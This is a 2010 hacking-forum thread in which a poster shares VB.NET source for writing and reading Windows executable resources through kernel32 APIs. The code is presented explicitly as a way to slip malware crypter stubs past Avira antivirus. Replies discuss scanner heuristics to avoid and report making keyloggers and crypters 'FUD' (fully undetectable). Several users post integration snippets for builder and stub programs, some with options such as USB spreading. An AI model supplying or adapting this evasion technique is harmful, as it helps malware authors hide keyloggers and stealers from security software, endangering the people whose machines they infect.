

Forum:[Hack Forums](#)

Thread: [\[SRC\] Vb.net Read/Write Resource \(API\) GET PAST AVIRA!](#)

Deathader - May 19, 2010, 6:15 pm

You can use this to get past Avira!

Please credit me if used. I've been slaving over a hot pc for the last few hours trying to get this to work (there is almost no documentation or examples on this)

Write resources to exe:

Code Imports System.Runtime.InteropServices

Module ResourceWriter

Private Function ToPtr(ByVal data As Object) As IntPtr

Dim h As GCHandle = GCHandle.Alloc(data, GCHandleType.Pinned)

Dim ptr As IntPtr

Try

ptr = h.AddrOfPinnedObject()

Finally

h.Free()

End Try

Return ptr

End Function

<DllImport("kernel32.dll", SetLastError:=True)> _

Private Function UpdateResource(ByVal hUpdate As IntPtr, ByVal lpType As String, ByVal lpName As String, ByVal wLanguage As UShort, ByVal lpData As IntPtr, ByVal cbData As UInteger) As Boolean

End Function

<DllImport("kernel32.dll", SetLastError:=True)> _

Private Function BeginUpdateResource(ByVal pFileName As String,

<MarshalAs(UnmanagedType.Bool)> ByVal bDeleteExistingResources As Boolean) As IntPtr

End Function

<DllImport("kernel32.dll", SetLastError:=True)> _

Private Function EndUpdateResource(ByVal hUpdate As IntPtr, ByVal fDiscard As Boolean) As Boolean

End Function

Public Function WriteResource(ByVal filename As String, ByVal bytes As Byte()) As Boolean

Try

Dim handle As IntPtr = BeginUpdateResource(filename, False)

Dim file1 As Byte() = bytes

Dim fileptr As IntPtr = ToPtr(file1)

Dim res As Boolean = UpdateResource(handle, "RT_RCDATA", "0", 0, fileptr, Convert.ToInt32(file1.Length))

EndUpdateResource(handle, False)

Catch ex As Exception

Return False

```
End Try
Return True
```

```
End Function
End Module
Read resources:
Code Imports System.Runtime.InteropServices
Module ResourceReader
```

```
    <DllImport("kernel32.dll", SetLastError:=True)> _
    Private Function FindResource(ByVal hModule As IntPtr, ByVal lpName As String, ByVal lpType
As String) As IntPtr
    End Function
```

```
Private Declare Function GetModuleHandle Lib "kernel32" Alias "GetModuleHandleA" (ByVal
moduleName As String) As IntPtr
```

```
Private Declare Function SizeofResource Lib "kernel32" (ByVal hModule As IntPtr, ByVal
hResInfo As IntPtr) As Integer
```

```
Private Declare Function LoadResource Lib "kernel32" (ByVal hModule As IntPtr, ByVal
hResInfo As IntPtr) As IntPtr
```

```
Public Function ReadResource(ByVal filename As String) As Byte()
    Dim hModule As IntPtr = GetModuleHandle(filename)
    Dim loc As IntPtr = FindResource(hModule, "0", "RT_RCDATA")
    Dim x As IntPtr = LoadResource(hModule, loc)
    Dim size = SizeofResource(hModule, loc)
    Dim bPtr As Byte() = New Byte(size - 1) {}
    Marshal.Copy(x, bPtr, 0, CInt(size))
    Return bPtr
End Function
End Module
```

How can this bypass avira? Simple. Instead of writing data to the EOF, you are writing it to the exe's resources (can be viewed in ResHacker and similar programs)

How do I use it? Put the writer in the builder and the reader in the stub. Get the builder to WRITE the settings to the server after it's written, then get the stub to read the resources, and parse out whatever. You can use this to read the output (if you are using strings)

```
Code System.Text.Encoding.Default.GetString("BYTES!")
```

and to convert to byte array:

```
Code System.Text.Encoding.Default.GetBytes("STRING!")
```

Please credit me if used. Thanks.

Kotei - May 19, 2010, 7:23 pm

WTF Why has NO ONE commented yet??? THANK YOU DEATH!!! <3

StRaXxD - May 19, 2010, 10:38 pm

THANK YOU FOR THIS....Will use this....Great tut and great job...

and wtf 50 views 2 comm ^_^

Fake. - May 19, 2010, 10:44 pm

Nice share, looks real interesting. You always release awesome sources, what a cool kid :D

Stylis - May 19, 2010, 10:46 pm

Yes, we have two method to write data !

1. EOF
2. RES :)

Bitwin - May 19, 2010, 11:04 pm

Nice, though I use slightly modified versions of Julian's example.
(Slightly easier for me to use IMHO)

adware - May 20, 2010, 12:23 am

Thanks Deathader.

Will add you in credits for sure :)

Inveno - May 20, 2010, 12:25 am

Thanks for the share.

Will test this out later, i have a stub that's been detecting on avira, so will see if this fixes that issue.
Thank you for the share mate.

flAmingw0rm - May 20, 2010, 12:27 am

That's a great tutorial. Thanks Deathader. I'm going to test this with my stub.

Soul Collector - May 20, 2010, 1:42 am

Thanks a lot mate... Gonna try it out

julian - May 20, 2010, 2:05 am

I thought about using a Try block with a GCHandle, but it doesn't work out so well...

.Net is garbage collected, objects live on the heap, the garbage collector compacts the heap intermittently, which can involve moving objects to other memory locations. When you pin an object you are making it so that the object cannot be moved - it will remain at the same address. This allows you to then get the address of the object in memory, because you know the object isn't going to be moved and so the address will be valid. Only when you have finished using this address should you unpin the object.

In short,

You should: pin, use, unpin

What you are doing: pin, copy address, unpin, use address.

- When you get to use the copy of the address, the object may have moved off somewhere else - the pointer isn't guaranteed to be pointing where you want it to point to.

It means the function ToPtr isn't robust. You should scrap it and just do it with verbose code. I thought about using:

```
Code Dim gch As GCHandle
```

```
Try
```

```
    gch = GCHandle.Alloc(whatever, GCHandleType.Pinned)
```

```
    SomeAPICall(gch.AddressOfPinnedObject())
```

```
Finally
```

```
    If GCHandle.IsAllocated() Then GCH.Free()
```

```
End Try
```

But if you think about it the only place it can fail is if whatever is Nothing, or if whatever isn't

blittable, or if SomeAPICall throws an exception. You can test for Nothing easily, so that doesn't require a Try block. API calls will only throw .Net exceptions if the signature is incorrect. You would want to iron out problems like that before deploying. So I didn't bother and just stuck GCH.Free in without the Try...Finally.

[Epreuvez] - May 20, 2010, 2:07 am

MUAHAHA... You have just conquered Avira. You sir, are a master in VB.Net.
Sharing is caring. Lol.

GoldStar - May 20, 2010, 2:22 am

hummm very good. the try catch was wierd though.i usally free the GCHandle last thing in my code, but i don't exacly know when that garbage collector that julien is talking about cleans up xD. but great exemple mate.

but i noticed something when i first started using the updateresource, is that sometimes some "PADDINGXXPADDING" is added to the EOF after updating. i found no documentation about the subject, but iStealer seems to updateresource the stub then deletes that padding thing by getting eof and writing nullbytes. try updating some win32 app and hex edit, and you'll see it. i just want to know what it is before handling it lool

Gringo241 - May 20, 2010, 3:03 am

Thanks for the share, I will try this out when i get back from work.

Local Celeb - May 20, 2010, 3:11 am

Thanks Death :D

This is going to help me a load :D

Deathader - May 20, 2010, 3:54 am

(May 20, 2010 02:05 AM)julian Wrote: [\[CITE\]](#) I thought about using a Try block with a GCHandle, but it doesn't work out so well...

.Net is garbage collected, objects live on the heap, the garbage collector compacts the heap intermittently, which can involve moving objects to other memory locations. When you pin an object you are making it so that the object cannot be moved - it will remain at the same address. This allows you to then get the address of the object in memory, because you know the object isn't going to be moved and so the address will be valid. Only when you have finished using this address should you unpin the object.

In short,

You should: pin, use, unpin

What you are doing: pin, copy address, unpin, use address.

- When you get to use the copy of the address, the object may have moved off somewhere else - the pointer isn't guaranteed to be pointing where you want it to point to.

It means the function ToPtr isn't robust. You should scrap it and just do it with verbose code. I thought about using:

```
Code Dim gch As GCHandle
```

```
Try
```

```
    gch = GCHandle.Alloc(whatever, GCHandleType.Pinned)
```

```
    SomeAPICall(gch.AddressOfPinnedObject())
```

```
Finally
```

```
If GCHandle.IsAllocated() Then GCH.Free()  
End Try
```

But if you think about it the only place it can fail is if whatever is Nothing, or if whatever isn't blittable, or if SomeAPICall throws an exception. You can test for Nothing easily, so that doesn't require a Try block. API calls will only throw .Net exceptions if the signature is incorrect. You would want to iron out problems like that before deploying. So I didn't bother and just stuck GCH.Free in without the Try...Finally.

Hmm, thank you for the example. I'll change it this afternoon.

And thank you everyone for the great feedback.

pr0t0typ3 - May 20, 2010, 4:44 am

Nice thread ... It is way better then my method but both work xD

ThatGuyThis - May 20, 2010, 5:34 am

Looks awesome Deathader!

2short

Sikandar - May 20, 2010, 6:01 am

cooooo

post death

will try this out

:)

julian - May 20, 2010, 6:25 am

i don't exactly know when that garbage collector that julien is talking about cleans up

Yeah, you never know - it runs when memory is getting tight. It's not likely to run immediately after you've unpinned a GCHandle, but it could, so the AddressOfPinnedObject is no longer certain to be the address of the object after it is unpinned.

I was just reading a paper about the heuristics that anti-malware scanners use when running through PE Files. It's a good read.

["PIMP MY PE": PARSING MALICIOUS AND MALFORMED EXECUTABLES](#)

For those that don't know a heuristic is a quick test that you can do to help identify or find something. The anti-malware scanner parses the PE structure of an EXE file and records some facts about its structure. It then decides how much of a threat the EXE file is by running tests that consider these facts. Things that increase the likelihood of being detected include: an overlay (data tacked onto the end of the file), incorrect PE file structure - especially the bit that says where the end of the file is, repetitive section names, particular orderings of sections, lots of entropy (random data), ...

DeathAdder's code shoves the encrypted file into a section using an API. This means that there won't be an overlay, the PE file structure should be correct (unless MS screwed up the API!), hopefully it will also use standard section orderings. You could name the section something amazing using the API, but the paper shows it's probably best not to.

GoldStar - May 20, 2010, 8:21 am

(May 20, 2010 06:25 AM)julian Wrote: [\[CITE\]](#) i don't exactly know when that garbage collector that julien is talking about cleans up

Yeah, you never know - it runs when memory is getting tight. It's not likely to run immediately after you've unpinned a GCHandle, but it could, so the AddressOfPinnedObject is no longer certain to be the address of the object after it is unpinned.

I was just reading a paper about the heuristics that anti-malware scanners use when running through PE Files. It's a good read.

["PIMP MY PE": PARSING MALICIOUS AND MALFORMED EXECUTABLES](#)

For those that don't know a heuristic is a quick test that you can do to help identify or find something. The anti-malware scanner parses the PE structure of an EXE file and records some facts about its structure. It then decides how much of a threat the EXE file is by running tests that consider these facts. Things that increase the likelihood of being detected include: an overlay (data tacked onto the end of the file), incorrect PE file structure - especially the bit that says where the end of the file is, repetitive section names, particular orderings of sections, lots of entropy (random data), ...

DeathAdder's code shoves the encrypted file into a section using an API. This means that there won't be an overlay, the PE file structure should be correct (unless MS screwed up the API!), hopefully it will also use standard section orderings. You could name the section something amazing using the API, but the paper shows it's probably best not to.

intressting,intressting,intressting^^

thx for the document^^ would help making apps more legit :p

ubbelol - May 20, 2010, 8:43 am

Nice release Deathader, cute way of getting past Avira. :3

JIMP - May 20, 2010, 9:17 am

wow this is great.Good tut.

6e756c6c - May 20, 2010, 9:51 am

It's about time someone came up with a simple replacement for EOF. Good job. Oh also.. I HAD NO IDEA ABOUT PINNING!!! God, that would be so much faster then allocating data I wish I had known about it sooner.

Bitwin - May 20, 2010, 9:58 am

I dunno why people thinks that Deathader is the first here showing an example of resources, Julian was the first. ?

Kotei - May 20, 2010, 9:59 am

Because Deathader is more well known.

GoldStar - May 20, 2010, 10:50 am

(May 20, 2010 09:58 AM)C00k13 Wrote: [\[CITE\]](#) I dunno why people thinks that Deathader is the first here showing an example of resources, Julian was the first. ?yeah i think he is, but no body checked it cuz he posted in a SCANTIME crypter. people are dumm -_-

(May 20, 2010 10:00 AM)morten emil Wrote: [\[CITE\]](#) hadfhsukdfgsudkgfcsicvuargsdsu and what tha fuck is that? are you retarded?

Cunt - May 20, 2010, 11:14 am

Cheers Deather ur so sexy o.O i want to lick you o.O and yeh cheers again gonna go try it out :)

Deathader - May 20, 2010, 11:38 am

(May 20, 2010 10:00 AM)morten emil Wrote: [\[CITE\]](#) hadfhsukdfgsudkgfcsicvuargsdu
I'm sorry, I'm not fluent in retardeese

d3c0mpil3r - May 20, 2010, 11:39 am

Thanks !!!

I will test it soon.

Dark Molecule - May 20, 2010, 12:16 pm

nice coding as always death :D

t0fx - May 20, 2010, 12:41 pm

Nice job bro, be ready to receive 10 pm / day like this one :

Hi, can u send me a crypter exemple with your method? I'm new in vb.net and want to code a crypter

Cunt - May 20, 2010, 12:43 pm

Hey deather can u send me a crypter exemple with your method im new in vb.net and want to code a crypter :)

:) lawl but againn very nice :) i tested it its sexy like u :O

6e756c6c - May 20, 2010, 1:00 pm

It's not that this is the first time it has been posted. Resources have been around for a very long time, and I am sure some of the more advanced programmers around here who are familiar with CodeDom use them for their builders. What sets this apart though, is that the code is easier for some people to understand and while although I probably wouldn't use it - it is better then EOF which is one step forward.

Kotei - May 20, 2010, 1:05 pm

(May 20, 2010 01:00 PM)Aeonhack Wrote: [\[CITE\]](#) while although I probably wouldn't use it - it is better then EOF which is one step forward.

And what would you use in place of EOF?

GoldStar - May 20, 2010, 1:11 pm

(May 20, 2010 01:05 PM)Bad Blood™ Wrote: [\[CITE\]](#) And what would you use in place of EOF? he said that codedom can do the job.

Deathader - May 20, 2010, 1:19 pm

Edit. Had to change an api to:

```
<DllImport("kernel32.dll", SetLastError:=True)> _  
Private Function FindResource(ByVal hModule As IntPtr, ByVal lpName As String, ByVal lpType  
As String) As IntPtr  
End Function
```

Other one was messing up.

PAGMAN - May 20, 2010, 2:14 pm

Sweeeeeettt! That is really cool. I didn't even know that that was possible.

Deathader - May 20, 2010, 2:33 pm

(May 20, 2010 02:14 PM)PAGMAN Wrote: [\[CITE\]](#) Sweeeeeettt! That is really cool. I didn't even know

that that was possible.

Haha it sure is. You can do pretty much ANYTHING with APIs :D

GodWall - May 20, 2010, 3:21 pm

Deathader very nice work, thanks 4 this source, I'll give this a try :)

Deathader - May 20, 2010, 3:23 pm

(May 20, 2010 03:21 PM)GodWall Wrote: [\[CITE\]](#) Deathader very nice work, thanks 4 this source, I'll give this a try :)

Thanks for the positive feedback

xBroak - May 20, 2010, 4:12 pm

This needs a good BUMP!

thanks for an awesome source.

Deathader - May 20, 2010, 7:03 pm

(May 20, 2010 04:12 PM)xBroak Wrote: [\[CITE\]](#) This needs a good BUMP!

thanks for an awesome source.

No problem mate.

Threadlocks - May 20, 2010, 9:53 pm

i have problem how to add it in crypter can you post example

Toxic Asshole - May 20, 2010, 10:36 pm

I have my own little secret way ?

Exploitations - May 20, 2010, 11:35 pm

Wow thanks Death! Ive been looking for this!

t0fx - May 21, 2010, 12:10 am

(May 20, 2010 01:00 PM)Aeonhack Wrote: [\[CITE\]](#) and I am sure some of the more advanced programmers around here who are familiar with CodeDom use them for their builders.

I programmed a .net exe protector in c# using codedom, it works nice and used on a file crypted with a vb.net crypter it bypass avira scantime / runtime. I'm moving the code to vb.net and adding it to a crypter. When done it will roxx !

Deathader - May 21, 2010, 3:53 am

(May 21, 2010 12:10 AM)t0fx Wrote: [\[CITE\]](#) I programmed a .net exe protector in c# using codedom, it works nice and used on a file crypted with a vb.net crypter it bypass avira scantime / runtime. I'm moving the code to vb.net and adding it to a crypter. When done it will roxx !

Codedom is a sexy beast. I used to use it in my script compiler (its on my blog)

Although a LOT more things get triggered as errors, and it can be a BITCH to configure if you have a large stub

Deathader - May 21, 2010, 11:36 am

Friendly bump :D

/mootblocks.

[Epreuvez] - May 22, 2010, 12:51 am

(May 20, 2010 09:53 PM)KillerSeo Wrote: [\[CITE\]](#) i have problem how to add it in crypter can you post example

If you don't know how to do it, I wouldn't ask. Trust me, it saves people ripping on yah for being a skid. Lol

Bumpy bump.

seheiahs - May 22, 2010, 2:01 am

Waouhh !! Thank you very much Deathader. I made my own keylogger but NOD & Avira detected Dropper. Now it s 100% FUD thank to you!

TESTED AND APPROVED :)

Threadlocks - May 22, 2010, 4:52 am

how to call WriteResource(openfiledialog .FileName) can you help

what should i pass in builder filename and which bytes help out sir

Deathader - May 22, 2010, 6:00 am

(May 22, 2010 04:52 AM)zorataa Wrote: [\[CITE\]](#) how to call WriteResource(openfiledialog .FileName) can you help

what should i pass in builder filename and which bytes help out sir

The bytes are the settings you want to save in the new resource.

NOTE: THIS CAN BE USED FOR CRYPTERS. YOU CAN SAVE THE ENCRYPTED EXE HERE!

Threadlocks - May 22, 2010, 6:12 am

free bump

(May 22, 2010 06:00 AM)Deathader Wrote: [\[CITE\]](#) The bytes are the settings you want to save in the new resource.

NOTE: THIS CAN BE USED FOR CRYPTERS. YOU CAN SAVE THE ENCRYPTED EXE HERE!

ok so pass filename instead of EOF

and what setting i pass ex ?

Deathader - May 22, 2010, 12:16 pm

(May 22, 2010 06:12 AM)zorataa Wrote: [\[CITE\]](#) free bump

ok so pass filename instead of EOF

and what setting i pass ex ?

You simply store anything you would normally store in EOF, in the resources.

Neroxan - May 22, 2010, 1:59 pm

Im not a .net user and even I recognize the significance of this. thx for sharing it deathader.

For anyone that knows vb6 some and dosent know what this could be used for, it could pretty much do the same thing that an addsection function would do:) Probably can read settings from it as well if one tried hard enough

Fake. - May 22, 2010, 2:32 pm

Deathader, you are fucking awesome. +respect
Tested this on a basic app, it's working great :D
Gonna put into my logger now and see results

edit: it didnt get rid of my Avira detection D:

Deathader - May 22, 2010, 2:33 pm

(May 22, 2010 02:32 PM)jacktheripper Wrote: [\[CITE\]](#) Deathader, you are fucking awesome. +respect
Tested this on a basic app, it's working great :D
Gonna put into my logger now and see results
Remember to add credits ;)

Fake. - May 22, 2010, 3:58 pm

(May 22, 2010 02:33 PM)Deathader Wrote: [\[CITE\]](#) Remember to add credits ;)
Of course. It'd didn't bypass my Avira detection D:

Deathader - May 23, 2010, 5:07 am

(May 22, 2010 03:58 PM)jacktheripper Wrote: [\[CITE\]](#) Of course. It'd didn't bypass my Avira detection D:
Hmm. Did you try the other things in my tutorial?

Fake. - May 23, 2010, 5:09 am

(May 23, 2010 05:07 AM)Deathader Wrote: [\[CITE\]](#) Hmm. Did you try the other things in my tutorial?
Just randomly, my stub became FUD lol. Thanks heaps.

Threadlocks - May 23, 2010, 8:06 am

i bulider i write like this

```
Dim usbspread As String
```

```
If CheckBox7.Checked = True Then
```

```
    usbspread = "true"
```

```
    WriteResource(filename, System.Text.Encoding.Default.GetBytes(usbspread))
```

and in stub tried like this

```
Dim usbspread As String = "false"
```

```
usbspread = System.Text.Encoding.Default.GetString((ReadResource(filename)))
```

and exception can not read null trying from 1 hour plz help

fireboot - May 23, 2010, 9:43 am

very interesting thank you.

Sikandar - May 23, 2010, 10:14 am

managed to get this working

edited somethings out so i can add more than 1 resource

cause from the codes

the function will only read one resource

and thanks very much deathader

Avira didnt catch it

now to figure out how to transfer options

on the output

i tried to use some of my methods without using booleans

but im getting some null errors

anyways, will try to figure them out

thankz again!

Fake. - May 23, 2010, 1:53 pm

(May 23, 2010 10:14 AM)Sikandar Wrote: [\[CITE\]](#) managed to get this working
edited somethings out so i can add more than 1 resource
cause from the codes
the function will only read one resource
and thanks very much deathader
Avira didnt catch it
now to figure out how to transfer options
on the output
i tried to use some of my methods without using booleans
but im getting some null errors
anyways, will try to figure them out

thankz again!

You can use filesplit & options like any other method?

Sikandar - May 23, 2010, 2:23 pm

(May 23, 2010 01:53 PM)jacktheripper Wrote: [\[CITE\]](#) You can use filesplit & options like any other method?
filesplit will add the options on the EOF
it will get detected by avira as dropper

Fake. - May 23, 2010, 2:29 pm

(May 23, 2010 02:23 PM)Sikandar Wrote: [\[CITE\]](#) filesplit will add the options on the EOF
it will get detected by avira as dropper
:O so you're saying this:
Code WriteResource(Application.StartupPath & "\" & TextBox35.Text & ".exe",
System.Text.Encoding.Default.GetBytes(filesplit & main & filesplit & etc)isn't working?

Sikandar - May 23, 2010, 2:32 pm

(May 23, 2010 02:29 PM)jacktheripper Wrote: [\[CITE\]](#) :O so you're saying this:
Code WriteResource(Application.StartupPath & "\" & TextBox35.Text & ".exe",
System.Text.Encoding.Default.GetBytes(filesplit & main & filesplit & etc)isn't working?
lol
will try it out...
thankz

[never thought about that...stupid me...]

Fake. - May 23, 2010, 2:33 pm

(May 23, 2010 02:32 PM)Sikandar Wrote: [\[CITE\]](#) lol
will try it out...
thankz

[never thought about that...stupid me...]

xD it works, I've got 80 options in the stub running 100%

Sikandar - May 23, 2010, 2:36 pm

(May 23, 2010 02:33 PM)jacktheripper Wrote: [\[CITE\]](#) xD it works, I've got 80 options in the stub

running 100%
great then
you just saved me from 2 hours of thinking
lol

thankz again

Deathader - May 23, 2010, 3:37 pm

I was gonna say. Just dump any settings you would normally save in the EOF to the Resources.

And yeah, i'm going to modify it to support multiple resources.

Threadlocks - May 23, 2010, 6:44 pm

got this errors System.Runtime.InteropServices.Marshal.CopyToManaged(IntPtr source, Object destination, Int32 startIndex, Int32 length)
at hitstub.ResourceReader.ReadResource(String filename)
at hitstub.sam1.Form1_Load(Object sender, EventArgs e)
at System.EventHandler.Invoke(Object sender, EventArgs e)
at System.Windows.Forms.Form.OnLoad(EventArgs e)
at System.Windows.Forms.Form.OnCreateControl()
at System.Windows.Forms.Control.CreateControl(Boolean fIgnoreVisible)
at System.Windows.Forms.Control.CreateControl()
at System.Windows.Forms.Control.WmShowWindow(Message& m)
at System.Windows.Forms.Control.WndProc(Message& m)
at System.Windows.Forms.ScrollableControl.WndProc(Message& m)
at System.Windows.Forms.ContainerControl.WndProc(Message& m)
at System.Windows.Forms.Form.WmShowWindow(Message& m)
at System.Windows.Forms.Form.WndProc(Message& m)
at System.Windows.Forms.Control.ControlNativeWindow.OnMessage(Message& m)
at System.Windows.Forms.Control.ControlNativeWindow.WndProc(Message& m)
at System.Windows.Forms.NativeWindow.Callback(IntPtr hWnd, Int32 msg, IntPtr wparam, IntPtr lparam)

Deathader - May 23, 2010, 6:44 pm

What's the actual error? Debug it

/mootblocs

Threadlocks - May 23, 2010, 6:55 pm

builder

```
Dim name As String = TextBox3.Text 'stub path
    WriteResource(name & ".exe", System.Text.Encoding.Default.GetBytes(GoogleSplitter &
usbspread))
```

stub

```
Dim name As String = filezb4(7)
Dim usbspread As String
```

```
usbspread = System.Text.Encoding.Default.GetString(ReadResource(name))
```

where to apply GoogleSplitter & in stub reader

Deathader - May 23, 2010, 6:56 pm

(May 23, 2010 06:55 PM)zorataa Wrote: [\[CITE\]](#) builder

```
Dim name As String = TextBox3.Text 'stub path
WriteResource(name & ".exe", System.Text.Encoding.Default.GetBytes(GoogleSplitter &
usbspread))
```

stub

```
Dim name As String = filezb4(7)
Dim usbspread As String
```

```
usbspread = System.Text.Encoding.Default.GetString(ReadResource(name))
For name on the read resource put application.executablepath
```

Threadlocks - May 23, 2010, 7:04 pm

still same error here death

stub

```
Dim usbspread As String
```

```
usbspread =
System.Text.Encoding.Default.GetString(ReadResource(Application.ExecutablePath))
```

builder

```
Dim name As String = TextBox3.Text
WriteResource(name & ".exe", System.Text.Encoding.Default.GetBytes(GoogleSplitter &
usbspread))
```

do i miss GoogleSplitter & some where in the stub

xSilent - May 23, 2010, 7:11 pm

(May 23, 2010 07:04 PM)zorataa Wrote: [\[CITE\]](#) still same error here death

stub

```
Dim usbspread As String
```

```
usbspread =
System.Text.Encoding.Default.GetString(ReadResource(Application.ExecutablePath))
```

builder

```
Dim name As String = TextBox3.Text
WriteResource(name & ".exe", System.Text.Encoding.Default.GetBytes(GoogleSplitter &
usbspread))
```

do i miss GoogleSplitter & some where in the stub

Its not hard to use, put all your crap in a 1 string, convert it to a byte then write it

Threadlocks - May 23, 2010, 7:37 pm

got it working thanks to death and xKillerxPanther althoug take my 4 hours of life now my crypter is fud

xSilent - May 23, 2010, 9:41 pm

For those of you who still don't know how to use it (even though its hella easy)

<https://hackforums.net/showthread.php?tid=437975>

Nice job death

over 1,000 views and only 78 comments tsk, tsk, tsk leechers, leechers ?

Deathader - May 24, 2010, 9:51 am

(May 23, 2010 09:41 PM)xKillerxPanther Wrote: [\[CITE\]](#) For those of you who still don't know how to use it (even though its hella easy)

<https://hackforums.net/showthread.php?tid=437975>

Nice job death

over 1,000 views and only 78 comments tsk, tsk, tsk leechers, leechers ?
Good tut mate!

Unrated - May 24, 2010, 3:48 pm

Fucking nice find, SHowing to my friend thanks!

GI?ryallowed - May 27, 2010, 4:45 am

That is awesome Death, Nice share :3

Deathader - June 1, 2010, 4:04 am

(May 27, 2010 04:45 AM)(A)narchy Wrote: [\[CITE\]](#) That is awesome Death, Nice share :3
No problem mate!

/short

oRc - June 1, 2010, 4:13 am

this can be avoided? or not

Code PAPADDINGGXXPADDINGGPADDINGGXXPADDINGGPADDINGGXXPADDING
PADDINGGXXPADDINGGPADDINGGXXPADDINGGPADDINGGXXPADDINGGPADDINGGXX

PADDINGGPADDINGGXXPADDINGGPADDINGGXXPADDINGGPADDINGGXXPADDINGGPADDINGGXXPAD
DINGPADDING

XXPADDINGGPADDINGGXXPADDINGGPADDINGGXXPADDINGGPADDINGGXXPADDINGGPADDINGGXXP
ADDI

Deathader - June 1, 2010, 4:18 am

(Jun 1, 2010 04:13 AM)oRc Wrote: [\[CITE\]](#) this can be avoided? or not

Code PAPADDINGGXXPADDINGGPADDINGGXXPADDINGGPADDINGGXXPADDING
PADDINGGXXPADDINGGPADDINGGXXPADDINGGPADDINGGXXPADDINGGPADDINGGXX

PADDINGGPADDINGGXXPADDINGGPADDINGGXXPADDINGGPADDINGGXXPADDINGGPADDINGGXXPAD

DINGPADDING

XXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXP
ADDI

You can replace it with bytes of equal value I think. It's an API error.

GoldStar - June 1, 2010, 11:35 am

(Jun 1, 2010 04:13 AM)oRc Wrote: [\[CITE\]](#) this can be avoided? or not

Code PAPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDING
PADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXX

PADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPAD
DINGPADDING

XXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXP
ADDI

iStealer5 iStealer5 iStealer5 iStealer5 iStealer5 iStealer5 iStealer5 iStealer5

Deathader - June 1, 2010, 11:44 am

(Jun 1, 2010 11:35 AM)Miharbi-DoNo Wrote: [\[CITE\]](#) iStealer5 iStealer5 iStealer5 iStealer5 iStealer5
iStealer5 iStealer5 iStealer5

What do you mean?

/shortness

GoldStar - June 1, 2010, 11:54 am

(Jun 1, 2010 11:44 AM)Deathader Wrote: [\[CITE\]](#) What do you mean?

/shortness

IStealer5 Source (everyone has the source), when you build a server, it drops the stub, update the resource (url, options ect...) then it has those couple of lines in the end of the sub, commented 'anti PADDINGXXPADDING.

Deathader - June 1, 2010, 11:58 am

(Jun 1, 2010 11:54 AM)Miharbi-DoNo Wrote: [\[CITE\]](#) IStealer5 Source (everyone has the source), when you build a server, it drops the stub, update the resource (url, options ect...) then it has those couple of lines in the end of the sub, commented 'anti PADDINGXXPADDING.

Anything that uses updateResource will have those lines. It's a problem with the API :/

I'm pretty sure you can replace them with null bytes though.

GoldStar - June 1, 2010, 12:06 pm

(Jun 1, 2010 11:58 AM)Deathader Wrote: [\[CITE\]](#) Anything that uses updateResource will have those lines. It's a problem with the API :/

I'm pretty sure you can replace them with null bytes though.

i think it is made on perpulse to reconize updated apps, but i remember that iiStealer have a way to remove those lines. don't remember how exactly, but i remember it reading PE headers, maybe to get the position of those lines. can't be sure, i don't have it right now.

Samuell - June 3, 2010, 8:16 pm

Very nice; I enjoyed reading the code, so simple yet so effective.

Samuell - June 4, 2010, 1:12 am

Question; I'm really not too good at this apparently, or perhaps it's because it's 4:10am where I live, regardlessly, I tested this method on a simple message box builder+stub, it did bypass Avira, however the two strings (text1 and text2) that were put into the messagebox like so:

```
Code msgbox(text1, 0+64, text2)
```

Seem to become corrupt or something, as all I see for both the title and message is "MZ", or if I put filesplit first, "@split@"...What am I not converting? If no one can help me I'll figure it out tomorrow when I'm awake lol.

Samuell - June 4, 2010, 7:18 am

Anybody? I'm still stumped, I'm probably missing something disgustingly obvious =/.

µnKn0wn_H4CK3r - June 5, 2010, 11:52 am

Hi!

Deathader, you are AMAZING ? ! Bypass Avira detection ? !

But... I have a problem... I'm a newbie and I don't really understand how to write the resources in the file...

```
Code 'Imports System.Text
'Imports Builder.ResourceWriter
```

WriteResource("OutPut.exe", Encoding.Default.GetBytes("Test" & FileSplit & "Test2"))But it does nothing...

Can you help me, please ? ?

µnKn0wn_H4CK3r - June 6, 2010, 6:38 am

Bump.

Anybody can tell me how to exactly use it, please?

I don't see how to use it because WriteResource return a boolean ? ..

pr3fix - June 18, 2010, 7:16 am

Can someone write an example or tutorial how to use it.

I do not understand how to read resource.

INFA?OUS - June 18, 2010, 7:19 am

Great share Deathader this could come in handy thanks bro :D

Deathader - June 18, 2010, 7:23 am

(Jun 6, 2010 06:38 AM)BabyHack Wrote: [\[CITE\]](#) Bump.

Anybody can tell me how to exactly use it, please?

I don't see how to use it because WriteResource return a boolean ? ..
It simply returns if it worked or not.

µnKn0wn_H4CK3r - June 18, 2010, 8:25 am

(Jun 18, 2010 07:23 AM)Deathader Wrote: [\[CITE\]](#) It simply returns if it worked or not. Yes but the objective is write the resources in the stub.. But it doesn't works - !

Maybe this is not the WriteResource function but the others ? ?

SkyRider - June 21, 2010, 4:34 pm

any chance someone can do a tut on how to implicate this as some of us are noobs just learning vb.net thanx

Deathader - June 21, 2010, 5:40 pm

(Jun 21, 2010 04:34 PM)psteve Wrote: [\[CITE\]](#) any chance someone can do a tut on how to implicate this as some of us are noobs just learning vb.net thanx
If you are "just learning", then this probably isn't for you.

Lucid Dreams - June 22, 2010, 12:16 am

Very nice share, will be sure to give credits, thanks man.

BETAhkr - June 22, 2010, 2:29 am

I have not been on in awhile, But I'm glad to see you are still posting well written codes, Still have lots of respect for you as a coder, Keep up the good work bro.

µnKn0wn_H4CK3r - June 23, 2010, 5:37 am

It's me again ? ...

It still doesn't work ? ? ! I tried MANY MANY solutions, read Microsoft doc: [BeginUpdateResource \[Function\]](#)

[UpdateResource \[Function\]](#)

[EndUpdateResource \[Function\]](#)

But I REALLY don't understand!

Can you give me any doc' or help me a little (just a little) ? ?

I really need this to finish (FUD) my keylogger.. And I need to understand how it works..
I'll give you credits...

Adept - June 25, 2010, 5:27 am

?Thank you man great contribution to the community.

killerfish - June 26, 2010, 3:13 am

bump--any one help me how to do this members' here asking money to help

bump--any one help me how to do this members' here asking money to help

czarface - July 1, 2010, 11:11 am

Hey I kindof get how this works , but if for example I have 3 textboxes in my builder , that I want to correspond with 3 textboxes in my stub.

for the writer , I would just convert each textbox.text to bytes , then do:

```
Code WriteResource("server.exe" , text1)
```

WriteResource("server.exe" , text2)
WriteResource("server.exe" , text3)
Then for the stub:
Code ReadResource("server.exe")and convert the bytes to a string.

